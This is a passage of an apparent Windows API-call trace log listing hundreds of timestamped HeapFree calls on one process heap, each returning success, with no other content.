dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.332] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0185.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.335] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.352] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.353] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.669] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.670] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.670] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.670] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.672] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.674] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.677] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.682] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0185.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0185.709] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0185.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0185.982] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.985] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.985] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.985] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.985] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.988] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.990] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.990] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.994] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0185.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.002] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0186.006] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.014] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.015] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.480] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.480] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5410058 | out: hHeap=0x710000) returned 1 [0186.481] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.484] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.573] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.576] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.578] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.580] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.580] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.586] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.587] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.591] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.592] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.630] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.631] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0186.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.867] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.881] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.886] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.887] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.892] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.893] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.893] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.894] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0186.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0186.908] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.916] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.919] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0186.919] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0187.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0187.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.509] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0187.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0187.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.520] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.525] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.533] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.534] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.535] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.535] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0187.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0187.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0187.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0187.866] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0187.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0187.868] HeapFree (in: hHeap=0x710000, dwFlags=0x0, 